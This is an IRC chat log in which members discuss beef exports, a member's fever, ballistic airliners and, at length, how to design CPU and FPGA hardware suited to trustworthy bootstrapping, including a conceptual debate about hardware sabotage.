1906915;1554423970;mp_en_viaje;like i said somewhere about films, some people were put on this earth to make cinmatographic equipment ; some people to use said equipment to actually make films.
1906916;1554423978;mp_en_viaje;the two some peoples aren't necessarily the same.
1906917;1554424063;BingoBoingo;Like the Uruguayos and their beef. The ones who raise beef are masters of Beef. The ones who don't can't cook in a way that does the beef justice outside of the asado tradition.
1906918;1554424079;mp_en_viaje;quite so.
1906919;1554424083;mp_en_viaje;but anyway, day 1, i'm walking through subway, buy a pretzel at random stand. i take one bite and recall girl off escalator. "taste this!"
1906920;1554424106;mp_en_viaje;so we turn back and buy two more. buttered pretzels, wunderbar, i hand out a five they give out some coins change.
1906921;1554424131;mp_en_viaje;the dood is al lproud, "you come back, because is good! yes ?" "yes, i say". "i know you, i see. you like, you come back" "precisely"
1906922;1554424138;mp_en_viaje;day two, ~20 euro worth of fare
1906923;1554424156;mp_en_viaje;day three, they're handing me cents in response to 50 euro bill. win is win-win for the win.
1906924;1554424573;BingoBoingo;We've got restaurants serving Argentine feedlot beef (Granted they do have to label it as FEEDLOT lest the beef police beat them)
1906925;1554424637;mp_en_viaje;such sadness, the decay of argentine beef production.
1906926;1554424653;BingoBoingo;Unlike Argentina who killed their beef export market to feed the derps, Uruguay is still grass fed premium export market product because Uruguay knows they starve if they can't export
1906927;1554424664;mp_en_viaje;http://btcbase.org/log/2019-04-04#1906894 << this is both persuasive in theory and observed in practice.
1906928;1554424664;a111;Logged on 2019-04-04 12:04 diana_coman: re relish or not I quite suspect many would be way happier if they didn't "have to unique"
1906929;1554424717;mp_en_viaje;BingoBoingo, thing is, not like the morons are using the pampas for anything else anyway. but no, why use bsas as a port and go inland. let's all move into "capital" and eat each other's farts.
1906930;1554424780;mp_en_viaje;in retrospect, it's the bittersweet kind of irony typical of how the world actually works that the crowning opus of argentine govt fantasy was called [http://trilema.com/2015/why-should-the-argentine-population-go-graze-already/#selection-93.0-93.820][vaca muerta]
1906931;1554424787;mp_en_viaje;the cow... it has died.
1906932;1554424860;mp_en_viaje;in other news, the howling beauty of asciilifeform 's latest production haunts me. diana_coman has a point yo, absolutely should be an article on yer blog. not like it's not been done before.
1906933;1554424936;mp_en_viaje;"and when he fell down without glamour or grace but a cry of 'attack!' frozen into his face all of Earth could not find slabs of marble so tall to carve him as high as he stood in his fall!"
1906934;1554425047;asciilifeform;mp_en_viaje: orig was from r. rozhdestvensky , same dood who did intro to '17 moments of spring'
1906935;1554425069;mp_en_viaje;supposedly "there's a lot of statues available all around, in the shape of marble chunks. all you have to do is get them out -- but careful to not hurt them trying". it's a great story, it's been making the rounds for more than a century, but... what do you do if there actually ISNT such a thing as a chunk large enough ?
1906936;1554425082;mp_en_viaje;asciilifeform, yes, and it is fine russian. i daresay it is finer english.
1906937;1554425091;*;asciilifeform spent last 24hr in delerium fever in bed, soon to go back thar 
1906938;1554425126;BingoBoingo;Malaria?
1906939;1554425130;mp_en_viaje;see what happens if you walk around fo rhours upon hours in the cutting wind clad in nothing but thin nearly see-through tropical bimbo outfits ?
1906940;1554425136;mp_en_viaje;o wait, that's not you, that's someone else.
1906941;1554425182;mp_en_viaje;asciilifeform, seriously though, paracetamol, water, whatever it takes, do not deliriumfever. it is a fine way to burn the last 5% of cns.
1906942;1554425202;mp_en_viaje;a point of no consequence to most people, who do not have the last 5%. you probably want to keep yours though.
1906943;1554425293;asciilifeform;if indeed how it worx, prolly burned it off long ago, spent good % of childhood contracting erry possible infect
1906944;1554425324;mp_en_viaje;well, "spent childhood smoking" is no argument against "smoking is good way to cancer"
1906945;1554425348;asciilifeform;tru
1906946;1554425372;mp_en_viaje;fever is one thing, useful and all ; but it must not get as high as delirium.
1906947;1554425442;asciilifeform;i think possibly my calibration is off, when measured was 38. but still feels like inside of head is swamp water
1906948;1554425463;mp_en_viaje;well no, delirium is when there's horses coming out of the lamp and stuff like that.
1906949;1554425480;asciilifeform;ah these not yet
1906950;1554425510;mp_en_viaje;generally ~42ish
1906951;1554425545;mp_en_viaje;anyway fever over 40 is medical emergency for very good reasons, so. keep measurin'.
1906952;1554425614;*;asciilifeform will bbl : back to horiz. pos. 
1906953;1554425623;mp_en_viaje;gotta keep the swampwater level.
1906954;1554425685;mp_en_viaje;actually, it;s still imperfect. here, final :
1906955;1554425686;mp_en_viaje;"and when he fell down without glamour or grace but a cry of 'attack!' frozen into his face all of Earth could not find slabs of marble so tall as to carve him as high as he stood in his fall!"
1906956;1554426255;mp_en_viaje;http://btcbase.org/log/2019-04-04#1906898 << but could she buy russia is the question
1906957;1554426255;a111;Logged on 2019-04-04 20:58 feedbot: http://qntra.net/2019/04/bezos-deals-35-billion-usd-in-amazon-stock-to-wife-for-splitting/ << Qntra -- Bezos Deals: 35 Billion USD In Amazon Stock To Wife For Splitting
1906958;1554426635;mp_en_viaje;BingoBoingo, http://qntra.net/2019/04/46-pantsuitist-candidates-already-lined-up-for-presidential-primary-showdown/ << deliberate misspelling to suggest "putain" or accidental misspelling that suggests putain ?
1906959;1554426880;BingoBoingo;fixed, vowel shift strikes again
1906960;1554426961;mp_en_viaje;in other randoms, it occurs to me the future of aviation's gotta be ballistic.
1906961;1554427015;mp_en_viaje;imagine this wonder : no more wings, airplane is a tube,  20 or 50 or w/e rings, with a dumbwaiter in the middle i guess, people seated around it. a rocket basically, it goes up and then down.
1906962;1554427080;mp_en_viaje;current airplanes have a "flight altitude" because of the wings derpitude, and it's a value in tension between the needs for air friction to support the bucket and the disadvantage of air friction burning fuel.
1906963;1554427123;mp_en_viaje;yet it is ~fundamenally geometrically incorrect~ to fly in this manner. the correct way to move from point a to point b is to go to a point c far enough so that A CHANGE OF ANGLE translates in the change of projected position on earth's surface from a to b.
1906964;1554427274;mp_en_viaje;the cost to make point c 500 or so km as opposed to the current 10 isn't THAT significant, considering the air is rather thin past the first 5-6km anyway. yes it's expensive to defeat gravity, but not AS expensive, because it scales with square of distance anyway, by the time you've done 10 out of 500 you've done such a large chunk of the work already...
1906965;1554427409;mp_en_viaje;wings are a quaint artefact of the propeller era ; as commercial airliner no longer actually uses propellers, there's no objective reason to stick to the wing design.
1906966;1554427565;mp_en_viaje;now, this is certainly not worth doing if you're going from paris to berlin, and probably not even to go from milan to minsk. but there's approximately no other way to take me from san jose to munchen in less than 10 hours besides this.
1906967;1554430599;BingoBoingo;ICBP is the future
1906968;1554432043;mp_en_viaje;ikr!
1906969;1554448465;diana_coman;asciilifeform, hope you get well soon! and no, don't get to delirium (or even serious shivers as that's likely to come first anyway)
1906970;1554467807;auctionbot;Buy order # 1046: 500 WFF, WU esta bien Heard: 150mn from PeterL. Ending: 2019-04-07 12:12:39.925433 UTC (59 hours 30 mins)
1906971;1554483110;feedbot;http://qntra.net/2019/04/gps-disciplined-time-to-experience-undisciplined-event-this-weekend/ << Qntra -- GPS Disciplined Time To Experience Undisciplined Event This Weekend
1906972;1554501892;bvt;!!up OriansJ
1906973;1554501892;deedbot;OriansJ voiced for 30 minutes.
1906974;1554502308;OriansJ;!!register http://wotpaste.cascadianhacker.com/pastes/Ppnt8/?raw=true
1906975;1554502310;deedbot;BDA9B87D4B1F46D4D5616035212E02A02E1A8FB7 registered as OriansJ.
1906976;1554502431;bvt;!!rate OriansJ 1 stage0 author
1906977;1554502436;deedbot;Get your OTP: http://p.bvulpes.com/pastes/6ojPb/?raw=true
1906978;1554502474;bvt;!!v 3E663D0A962864DA7A238FA8497667A046916568FA36ED6112CEAE9C25A9FBAE
1906979;1554502475;deedbot;bvt rated OriansJ 1 << stage0 author
1906980;1554502668;OriansJ;So I hear there is some interest in bootstrapping architectures here
1906981;1554502845;OriansJ;!!up
1906982;1554502845;deedbot;You may not $up yourself.
1906983;1554502974;bvt;indeed there is; the relevant thread is http://btcbase.org/log/2019-03-18#1903170
1906984;1554502974;a111;Logged on 2019-03-18 15:31 asciilifeform: http://bvt-trace.net/2019/03/mes-part-1-stage0/#selection-29.94-29.340 << imho ~100% of the attempts on record , made exactly same mistake -- they assumed that 'architecture-specific aspects creep into the design of the boostrapping process' only concerns ~what is there~ in the arch, and not ~what is not there~ (e.g. sane memory management, type tags) . if you dun put the complexity of certain necessary sanities where it belongs -- i
1906985;1554503069;bvt;so far everything points into the direction opposite of linux/c (http://mocky.org/Log-Reference-Why-Ada/ may be interesting)
1906986;1554503141;bvt;of course, ada/gnat is too complex for bootstrapping as-is, but i guess equivalent safety properties would be still required
1906987;1554503218;OriansJ;bvt: well to be honest, an Ada subset would be much easier to implement than a C subset; the problem however is always available contributors.
1906988;1554503491;OriansJ;To be honest if it wasn't for wanting to support developers who use division; M2-Planet wouldn't have even included support for it and honestly bootstrap hardware really doesn't need that complexity
1906989;1554504203;BingoBoingo;!!up OriansJ
1906990;1554504204;deedbot;OriansJ voiced for 30 minutes.
1906991;1554504259;BingoBoingo;OriansJ: Well right now we have some people working on flensing a minimal linux from Gentoo-MUSL and other people building utilities in ADA
1906992;1554504259;OriansJ;thank you BingoBoingo
1906993;1554504305;BingoBoingo;diana_coman put together a crypto library, ave1 has a leaner GNAT, and asciilifeform has a bignum library and other products.
1906994;1554504342;OriansJ;BingoBoingo: well I guess we need to discuss short term vs long term expectations as those pieces seem to be multiple pieces pulling in different directions
1906995;1554504395;BingoBoingo;Well, they tend to build on each other. The Linux (dubbed Cuntoo) is to escape all of the distributions constantly changing the base and tools.
1906996;1554504447;BingoBoingo;The constant time bignum work helps to inform the crypto work
1906997;1554504521;BingoBoingo;http://www.loper-os.org/?cat=49 << FFA, the author asciilifeform is dealing with a fever, but he is usually around
1906998;1554504537;BingoBoingo;!!rate OriansJ 1 Loaning voice
1906999;1554504542;deedbot;Get your OTP: http://p.bvulpes.com/pastes/LN8mM/?raw=true
1907000;1554504560;OriansJ;Linux is much too big for a bootstrap core piece
1907001;1554504576;BingoBoingo;!!v 8733D65D9BE134634734EDA7D4BD9D91B09A1BB8D6A1370D7CCE24EA546CEE30
1907002;1554504576;deedbot;BingoBoingo rated OriansJ 1 << Loaning voice
1907003;1554504593;BingoBoingo;Indeed Linux is.
1907004;1554504659;BingoBoingo;But gotta have a fairly hygenic platform to build things from and deploy them on, so trinque has been working on capturing a hygenic and stable one.
1907005;1554504708;OriansJ;well let me ask it this way; are you planning to use a posix subset or a subset which will portable upon posix and other OS bases?
1907006;1554504752;BingoBoingo;Eventually the direction seems to be leading it towards burning the whole stack down, POSIX and all.
1907007;1554504791;BingoBoingo;But we have people deploying things in the present and the things have to have something while the burning continues.
1907008;1554504813;OriansJ;BingoBoingo: I agree POSIX has a great many flaws but there are some ideas inside of it worth preserving; especially in regards to bootstrapping.
1907009;1554504904;bvt;http://btcbase.org/log/2019-04-05#1906987 << well, this depends on the subset of ada; re contributors - this is a known issue
1907010;1554504904;a111;Logged on 2019-04-05 22:26 OriansJ: bvt: well to be honest, an Ada subset would be much easier to implement than a C subset; the problem however is always available contributors.
1907011;1554504915;BingoBoingo;This isn't quite an area I'm incredibly specialized in, hopefully others can chime in.
1907012;1554504936;BingoBoingo;OriansJ: Anyways, with my rating you can voice yourself by sending a private message to deedbot
1907013;1554504953;OriansJ;Thank you BingoBoingo
1907014;1554505021;bvt;to my understanding there are two questions: 1. what are the requirements to the architecture 2. what is the first interim stop after a post-M1 assembler?
1907015;1554505043;bvt;i.e. re 1 you opted for architecture where instruction encoding is easy to do by hand
1907016;1554505087;bvt;but are there any other features that help the bootstrap? even if this increases hardware complexity a bit
1907017;1554505112;OriansJ;1) Did you mean in regards to minimal hardware requirements or the set which would make it a host platform worth using after the bootstrap is done and 2) Generally a higher level language such as Ada or C.
1907018;1554505192;bvt;re 2, after a restricted ada assembler, should a ada-dos be built? mes assumes that linux kernel is a given, which imho is a big hole in the process
1907019;1554505252;OriansJ;bvt: well believe it not; previously most architectures were easy to encode by hand (PDP-11, PDP-10, Vax, 6502, z80, 8086) but MIPS changed the game by showing with high enough languages one can be brain dead in regards to human understanding of the encoding rules and squeeze a drop of extra performance out.
1907020;1554505253;bvt;re 1, both worth using (but no lisp cpus here yet) and with features useful for bootstrapping
1907021;1554505332;OriansJ;bvt: Actually DOS wouldn't be the correct direction as it is actually more complex to implement portably and it's abstraction layer isn't right for a good general bootstrap.
1907022;1554505396;bvt;unfortunately i've worked mostly with x86, so the only other assembler i've seen was arm64 (did not look at it's instruction encoding though)
1907023;1554505397;OriansJ;well the only extremely useful feature for bootstrapping hardware architectures have is clean encoding and a sane subset of operations that make working with strings and structs easy to do in assembly.
1907024;1554505430;*;BingoBoingo returns to Accounting and Spanish Practice lair
1907025;1554505438;OriansJ;actually I am extremely familiar with ARMv7's instruction encodings as I have been porting M2-Planet to it recently (boy it is a shitshow)
1907026;1554505571;OriansJ;Big Endian instruction and data encoding seem the most obvious great ideas for simplifying the task of bootstrapping (especially in regards to troubleshooting)
1907027;1554505613;OriansJ;although if one wanted good backwards compatability with x86 and the rest; simply add load/store instructions that work on little endian data
1907028;1554505731;OriansJ;an 8bit immediate can be very useful for dense code and it would fit most bootstrapping constants if it is signed; support for 16, 32 and up immediates makes supporting compilers for C/Ada easier to write but it isn't a real issue if you have support for IP relative loads of 32bit and up values
1907029;1554505875;OriansJ;add with carry (in, out and in/out); substract with borrow (in, out and in/out) really simply the task of writing arbitrary precision libraries in assembly
1907030;1554505959;bvt;re add with carry, http://www.loper-os.org/?p=1913#selection-2329.9-2347.129
1907031;1554505970;OriansJ;If one doesn't want to have a boot rom; one needs either a hardware tape reader (which writes tape to memory on power on and jumps to address 0 to run it or a toggle board. A serial bus just moves the bootstrap trust issue to another piece of hardware
1907032;1554506020;bvt;yes, i agree that a simple and clear boot sequence is a requirement
1907033;1554506282;OriansJ;hence why I assumed a hardware mechanism for loading paper tape into memory and setting all registers to zero and then boot; as it eliminates the bootloader and the operating system entirely from the question.
1907034;1554506461;bvt;yes, with tape writers/serials, os can be delayed much further; persistent storage would complicate bootstrap a lot.
1907035;1554506522;bvt;(iirc asciilifeform has a SU keyboard-driven prom burner, which may be a valuable device for bootstrap)
1907036;1554506534;bvt;i guess asciilifeform will comment tomorrow if he feels good enough (gute besserung!); i have to go to sleep right now
1907037;1554506707;OriansJ;well, I guess a really important question to ask is at what level of lithography people here actually have trust? (1 transistor, AND Gate in TTL, 100 Gate ALU, 1000 Gate ULA, 10000 Gate Asic, .... FPGA, 1B+ gate CPU, etc)
1907038;1554507491;OriansJ;As for the operating system floor; there is a micro-posix subset that might be of interest as it would be enough for bootstrapping full operating systems but not complex enough to have anything non-deterministic.
1907039;1554509262;OriansJ;one minor note; there is a common pattern with structs to load (base + offset) followed by arithmetic/logic with another register and generally writing out to another (base + offset). So it is tempting to put in instructions to do those; but as the VAX has shown, it isn't worth the additional complexity.
1907040;1554511541;OriansJ;I've been exploring the logs and one thing you may wish to know about bootstrapping MIPS is humans writing assembly need only 7 registers (I round up to 16 to include Stack pointer(s) and Condition register(s) and if my goal was optimize for C compiler performance, I would have gone with 64 registers (architecturally unified between the Integer unit and the Floating point unit but leveraging the trick of the DEC Alpha 21264 and
1907041;1554511541;OriansJ;electrically seperating them and simply require an Interlock delay when registers are updated between units) as that is the closest approximation of the 88.5 registers that is optimal
1907042;1554511977;OriansJ;The Branch Delay slot should never been allowed and it just adds complexity to any bootstrap. The Multiply and Divide instructions of MIPS were just a bad idea and the DEC Alpha solution was a much better combination to go. The Exception style overflow pattern in MIPS is pure complexity and waste; the 68K series was so much closer to the optimal (The split Integer register and BCD support was a bad mistake that I am glad Cold Fire
1907043;1554511978;OriansJ;fixed)
1907044;1554512417;OriansJ;We definitely don't need hardware support for floating point though (just a set of defined encodings for floating point instructions and a clean exception mechanism which allows an operating system or a library to implement via software routines)
1907045;1554513701;OriansJ;well good night
1907046;1554514289;Mocky;OriansJ: why the hell support floating point at all?
1907047;1554526879;spyked;http://btcbase.org/log/2019-04-05#1907037 <-- on the longer term, something along the lines of http://btcbase.org/log-search?q=ice40 ; on the shorter, http://btcbase.org/log-search?q=apu / http://btcbase.org/log-search?q=rk
1907048;1554526879;a111;Logged on 2019-04-05 23:25 OriansJ: well, I guess a really important question to ask is at what level of lithography people here actually have trust? (1 transistor, AND Gate in TTL, 100 Gate ALU, 1000 Gate ULA, 10000 Gate Asic, .... FPGA, 1B+ gate CPU, etc)
1907049;1554527137;spyked;http://btcbase.org/log/2019-04-05#1907021 <-- the problem with "portability" (in the sense of supporting/maintaining the same software interface across different hardware architectures/configurations) is that it's a convenient lie most of the times. the goal isn't to implement the same DOS for all architectures, but to have some sort of DOS that provides some functionality and otherwise stays out of the pr
1907050;1554527137;a111;Logged on 2019-04-05 23:02 OriansJ: bvt: Actually DOS wouldn't be the correct direction as it is actually more complex to implement portably and it's abstraction layer isn't right for a good general bootstrap.
1907051;1554527143;spyked;ogrammer's way most of the time
1907052;1554527184;spyked;that is, for whatever architecture it's implemented on, it doesn't have to be the same DOS
1907053;1554527273;spyked;the http://btcbase.org/log/2018-04-16#1799857 thread also perhaps relevant here
1907054;1554527273;a111;Logged on 2018-04-16 15:20 mircea_popescu: the best example i can think of is the code on the old handheld calculators. THAT is a general purpose os : it makes no assumption about the downstream, merely fully, cleanly and directly exposes the hardware.
1907055;1554527295;*;spyked is off into the mountains
1907056;1554553643;diana_coman;BingoBoingo: is WU the only option for those wff?
1907057;1554553693;diana_coman;it seems quite surprising to me there isn't more interest but tbf I haven't used local WU ever, would need to even look it up, lol.
1907058;1554554461;OriansJ;Mocky: floating point support is part of being turing complete. We can either bitch about how bad it is (Like the old MIPS engineers) or accept the reality and figure out a why that costs us the least.
1907059;1554554683;Mocky;bullshit, lol
1907060;1554554764;Mocky;and in addition you suggested floating point as software addon. turing completeness can now be achieved after the fact!
1907061;1554554825;OriansJ;spyked: well the iCE40 is a good starting point for now and I guess we can agree on that. You are right about not having to be portable but I prefer building a stack that can be used to defend against a Nexus Intruder program class attack.
1907062;1554554847;Mocky;I've gotta run though, worn motorcycle tire needs wrangling
1907063;1554554903;OriansJ;Mocky: yes that was my point; floating point will either exist in hardware or software because of Turing completeness.
1907064;1554554979;OriansJ;So we can either make simulating more complex instructions in software easy or we can shoot ourselves in the foot trying to avoid the unavoidable (The ability to support floating point)
1907065;1554555079;Mocky;"someone will certainly want X" therefore "we make X easy"; mno
1907066;1554555120;OriansJ;and let us be honest here; making it easy to trap on undefined instructions, jumping to a software routine that performs the functional definition of that instruction and returning to right after the trapped instruction. Will allow us to ditch instructions in hardware without fear of breaking our bootstrap.
1907067;1554555129;Mocky;whoever wants can write their own. why start with idiocy in mind
1907068;1554555181;Mocky;im going for real now
1907069;1554555588;OriansJ;Mocky: Don't get stuck on the idea of Floating point, it is just an example of classes of instructions that are complex to implement in hardware that a proper illegal instruction trap will allow us to move between hardware and software with no one else having to care what we are doing. As we want people programming to standards not to systems.
1907070;1554562937;BingoBoingo;diana_coman: WU is not. Normal bank wires work. WU is offered as an option because it works for people inside the wire sending to LATAM. Unsure how smooth WU UK would be.
1907071;1554562952;BingoBoingo;*not the only option
1907072;1554567076;diana_coman;tbf unsure how smooth either wire or wu would be from UK given additional currency headache; hence my hesitation to add this one to the to do list but by the looks of it, if this continues with no real bids even on quite competitive prices, I guess I'll have to.
1907073;1554567123;diana_coman;last time I used WU was ~10 years ago and it was from EU to USA so not much help for current use case
1907074;1554568486;BingoBoingo;hanbot's Costa Rica to Uruguay via WU experiment ended up going through a channel other than WU, so the suspicion is Intra-LATAM WU is fucked
1907075;1554586814;auctionbot;Buy order # 1046: 500 WFF, WU esta bien Heard: 140mn from jurov outbidding PeterL. Ending: 2019-04-07 12:12:39.925433 UTC (26 hours 26 mins)
1907076;1554587156;asciilifeform;http://btcbase.org/log/2019-04-05#1907008 << asciilifeform is quite curious re what 'ideas in posix worth preserving', i can't think of even one
1907077;1554587156;a111;Logged on 2019-04-05 22:53 OriansJ: BingoBoingo: I agree POSIX has a great many flaws but there are some ideas inside of it worth preserving; especially in regards to bootstrapping.
1907078;1554587215;asciilifeform;( mandatory reading re thread : 'unix hater's handbook' )
1907079;1554587302;asciilifeform;http://btcbase.org/log/2019-04-05#1907021 << 'dos' as typically discussed here is simply shorthand for 'os that fits in coupla kB and gets the fuck out of the way and speaks only when spoken to' , roughly
1907080;1554587302;a111;Logged on 2019-04-05 23:02 OriansJ: bvt: Actually DOS wouldn't be the correct direction as it is actually more complex to implement portably and it's abstraction layer isn't right for a good general bootstrap.
1907081;1554587343;asciilifeform;http://btcbase.org/log/2019-04-05#1907023 << whytheFUCK wouldja want the nullterm-string warcrime to exist on a brand-new arch ?
1907082;1554587343;a111;Logged on 2019-04-05 23:03 OriansJ: well the only extremely useful feature for bootstrapping hardware architectures have is clean encoding and a sane subset of operations that make working with strings and structs easy to do in assembly.
1907083;1554587348;asciilifeform;burn it with fire.
1907084;1554587378;asciilifeform;http://btcbase.org/log/2019-04-05#1907027 << why would 'compat with x86' be ANY kind of consideration ?
1907085;1554587378;a111;Logged on 2019-04-05 23:06 OriansJ: although if one wanted good backwards compatability with x86 and the rest; simply add load/store instructions that work on little endian data
1907086;1554587506;asciilifeform;http://btcbase.org/log/2019-04-05#1907037 << i recommend to read the logs re 'specificity' ( picture yourself baking a sabotaged fpga , for victim whose gate net you do not know in advance. what would you put in it ? )
1907087;1554587506;a111;Logged on 2019-04-05 23:25 OriansJ: well, I guess a really important question to ask is at what level of lithography people here actually have trust? (1 transistor, AND Gate in TTL, 100 Gate ALU, 1000 Gate ULA, 10000 Gate Asic, .... FPGA, 1B+ gate CPU, etc)
1907088;1554587555;asciilifeform;http://btcbase.org/log/2019-04-05#1907038 << >> http://btcbase.org/log/2019-03-26#1904867
1907089;1554587555;a111;Logged on 2019-04-05 23:38 OriansJ: As for the operating system floor; there is a micro-posix subset that might be of interest as it would be enough for bootstrapping full operating systems but not complex enough to have anything non-deterministic.
1907090;1554587555;a111;Logged on 2019-03-26 20:05 asciilifeform: bvt: the other thing, is the 3-ring circus aspect of elaborately dethompsonizing a box in order to... bring up 1M+line of linusolade
1907091;1554587634;asciilifeform;i.e. whole problem of 'bootstrap', imho, is misformulated . why to fixate on thompsonism and then bring up multi-decamegabyte kernel fulla liquishit, on which to run overflowandcrashlang (aka 'c') compiler with which to then build moar of same, etc
1907092;1554587698;asciilifeform;http://btcbase.org/log/2019-04-06#1907042 << all of these archs were missing essential piece for sanity -- type tagging and bounds checking. ( i.e. if running ada or lisp 'costs extra' on your iron vs. c , your arch is broken ! )
1907093;1554587698;a111;Logged on 2019-04-06 00:52 OriansJ: The Branch Delay slot should never been allowed and it just adds complexity to any bootstrap. The Multiply and Divide instructions of MIPS were just a bad idea and the DEC Alpha solution was a much better combination to go. The Exception style overflow pattern in MIPS is pure complexity and waste; the 68K series was so much closer to the optimal (The split Integer register and BCD support was a bad mistake that I am glad Cold Fire
1907094;1554587744;asciilifeform;and yes, 'branch delay slot' is retarded. as is the whole pipeline concept. ( why ? cuz http://www.loper-os.org/?p=300 . sane iron FIRST, and ~then~ can ~maybe~ think about speed. )
1907095;1554587811;asciilifeform;http://btcbase.org/log/2019-04-06#1907058 << this is where i say 'wtf' . what am i missing here ? where and for what do you need the ieee erroneous-arithmetics liquishit ?!
1907096;1554587811;a111;Logged on 2019-04-06 12:41 OriansJ: Mocky: floating point support is part of being turing complete. We can either bitch about how bad it is (Like the old MIPS engineers) or accept the reality and figure out a why that costs us the least.
1907097;1554587913;asciilifeform;http://btcbase.org/log/2019-04-06#1907066 << people who demand oddball instructions, can simply write own fpga payload and go happily on own path -- what am i missing ?
1907098;1554587913;a111;Logged on 2019-04-06 12:52 OriansJ: and let us be honest here; making it easy to trap on undefined instructions, jumping to a software routine that performs the functional definition of that instruction and returning to right after the trapped instruction. Will allow us to ditch instructions in hardware without fear of breaking our bootstrap.
1907099;1554587971;*;asciilifeform ate frustrating log, goes to again lie down
1907100;1554591117;feedbot;http://pizarroisp.net/2019/04/06/pizarro-march-2019-report/ << PizarroISP -- Pizarro March 2019 Report
1907101;1554592069;OriansJ;asciilifeform: no where did I say null terminated strings; it could be length prefixed strings but support for strings needs to exist in a human readable bootstrap.
1907102;1554592116;asciilifeform;OriansJ: imho the place for it ( just as for e.g. bignums, arrays, other basics ) is in the iron
1907103;1554592149;OriansJ;asciilifeform: I disagree. String support should be in software not hardware
1907104;1554592185;asciilifeform;OriansJ: why exactly should overrunning string, or array, etc bounds be electrically possible ?
1907105;1554592197;asciilifeform;it aint even as if no one ever built sane iron, and it is being proposed for 1st time
1907106;1554592225;OriansJ;asciilifeform: just use a generic block type for range checking
1907107;1554592251;asciilifeform;why ? so idjits can typecase string into bignum and back ?
1907108;1554592255;asciilifeform;*typecast
1907109;1554592266;asciilifeform;and liters into metres
1907110;1554592296;OriansJ;asciilifeform: those conversions should be software NOT hardware
1907111;1554592316;asciilifeform;OriansJ: plz make the case re why ?
1907112;1554592319;OriansJ;bootstrap hardware should not have any features that are not absolutely required.
1907113;1554592369;OriansJ;We can always add complexity and provide mechanisms for supporting additional complexity but but typed memory isn't exactly easy to bootstrap in hex
1907114;1554592398;asciilifeform;it goes into the iron, you dun need to bootstrap it as such, beyond applying mains current
1907115;1554592427;OriansJ;There are very good reasons why typed memory systems appeared after high level languages did.
1907116;1554592438;asciilifeform;transistor poverty.
1907117;1554592487;OriansJ;asciilifeform: Your level of bootstrap is considerably higher level than mine. I assume I have to hand toggle in the root binary and hand assemble everything.
1907118;1554592544;asciilifeform;OriansJ: possibly we are speaking at cross purposes. having eaten the log, i formed impression that OriansJ is interested in hypothetical sane iron, and not merely dethompsonization of x86 pc.
1907119;1554592565;OriansJ;asciilifeform: both actually
1907120;1554592615;asciilifeform;i'm not currently sure that there is in fact any overlap between these two problems
1907121;1554592627;OriansJ;Sane Iron is a great goal that I believe needs to be done but I also believe that a chain of trust needs to be built to allow Sane Iron to be safe from some classes of attacks.
1907122;1554592664;asciilifeform;re 'classes of attack', i'm particularly curious re what is OriansJ answ to http://btcbase.org/log/2019-04-06#1907086 puzzler
1907123;1554592664;a111;Logged on 2019-04-06 21:51 asciilifeform: http://btcbase.org/log/2019-04-05#1907037 << i recommend to read the logs re 'specificity' ( picture yourself baking a sabotaged fpga , for victim whose gate net you do not know in advance. what would you put in it ? )
1907124;1554592727;asciilifeform;http://btcbase.org/log/2017-02-24#1617495 << see also historical parallel for subj.
1907125;1554592727;a111;Logged on 2017-02-24 02:36 asciilifeform: veen: let's try a historical angle. according to legend, emperor qin shi huangdi (same d00d as known for taking the 'immortality pill' and promptly croaking) had a palace with 1,500 rooms. and would not tell anyone in advance which one he plans to sleep in on a given night. and which ones he would put cutthroats in, ready to kill anyone who opens door. think 'minesweeper.'
1907126;1554592774;OriansJ;a hardware rom and a remote trigger
1907127;1554592820;asciilifeform;OriansJ: let's posit. what does this give you, if you do not know what is connected to the i/o pins ? beyond ability to short +v to - and smoke
1907128;1554592853;asciilifeform;( if this counts as a useful attack, why not answer instead 'coupla gram of thermite' ? )
1907129;1554592867;OriansJ;well lets see, we can add a short wave radio but that might be blocked with tempest hardware layers
1907130;1554592915;OriansJ;we can include a hardware block for network and leverage it if it is connected; while letting our customers know about it speeding up network loads
1907131;1554592957;asciilifeform;leverage how ? if you have literally 0 info re what netlist will be loaded and what cells it will make use of, and to what end
1907132;1554592986;OriansJ;asciilifeform: all FPGAs have hardware blocks specific to certain function to speed up common functionality
1907133;1554592998;asciilifeform;observe that it is entirely trivial to permute given netlist so that 9000 manufactured boards will each have unique one, with same function
1907134;1554593004;BingoBoingo;OriansJ: On possibly missing prior is that should the work take us there, in this channel the question of fabbing our own hardware (Maybe on saphire wafers) is largely one of "when?"... provided we live to see it.
1907135;1554593032;asciilifeform;OriansJ: not all. matter of fact, the 1 used in http://nosuchlabs.com/hardware.html has no dedicated cells, aside from i/o
1907136;1554593037;OriansJ;BingoBoingo: I am thinking libresilicon which we could do today
1907137;1554593082;asciilifeform;OriansJ: i specifically picked the part for this attribute. ( ice40 was not 'solved' yet at the time , but it has quite similar topology )
1907138;1554593102;OriansJ;asciilifeform: so the Fab knows those cells will be for I/O and we know some common patterns of I/O that we can eletrically detect
1907139;1554593160;OriansJ;Ethernet frames need to look like this and Serial buffers need to behave like this
1907140;1554593172;asciilifeform;this goes back to 'knowing something about intended use' , neh
1907141;1554593205;asciilifeform;the puzzler concerns 'general purpose' sabotaged fpga, rather than case where you know what the victim intends to connect and what protocols etc
1907142;1554593213;OriansJ;asciilifeform: that is absolutely correct; an attacker in Silicon can only put in attack hooks for things that they know about not all possible inputs.
1907143;1554593261;OriansJ;However we know common patterns for networked devices, Operating systems and external storage systems
1907144;1554593330;asciilifeform;the irons that speak these 'common patterns' -- already sabotaged decade+ ago, no need even to concern with fpga..
1907145;1554593402;OriansJ;asciilifeform: well some of these patterns are universally useful and will exist even in Sane Iron systems
1907146;1554593414;asciilifeform;OriansJ: incidentally, a pattern matcher on i/o pin will affect propagation delay
1907147;1554593461;OriansJ;asciilifeform: but can you  really spot a 1ns delay?
1907148;1554593518;asciilifeform;OriansJ: if i'm baking e.g. dram refresher -- then quite easily (and very frustratingly, in actual practice did, it is why it is ~impossible to bake a decent dram controller from scratch using fpga that hasn't been 'solved' ice40-style )
1907149;1554593654;OriansJ;asciilifeform: DRAM initialization has a very unique pattern which can be detected very early (long before the DRAM itself is ready)
1907150;1554593682;OriansJ;but let us save some time
1907151;1554593733;OriansJ;Let us just assume the FPGA was not compromised and leverage it for the bootstrap work at this stage (I'll be going to pure LibreSilicon before I am finished but hey to each their own)
1907152;1554593738;asciilifeform;correct. so, proposing to put 64-state statemachine on each pin and look for it? and what, slip the timings so dram loses bits ? this is in the 'smoke' category, logic analyzer will find the peculiar defect, and victim buys another fpga.
1907153;1554593761;asciilifeform;OriansJ: i am not proposing it as 'boostrap for pc', but as ~replacement~ for pc.
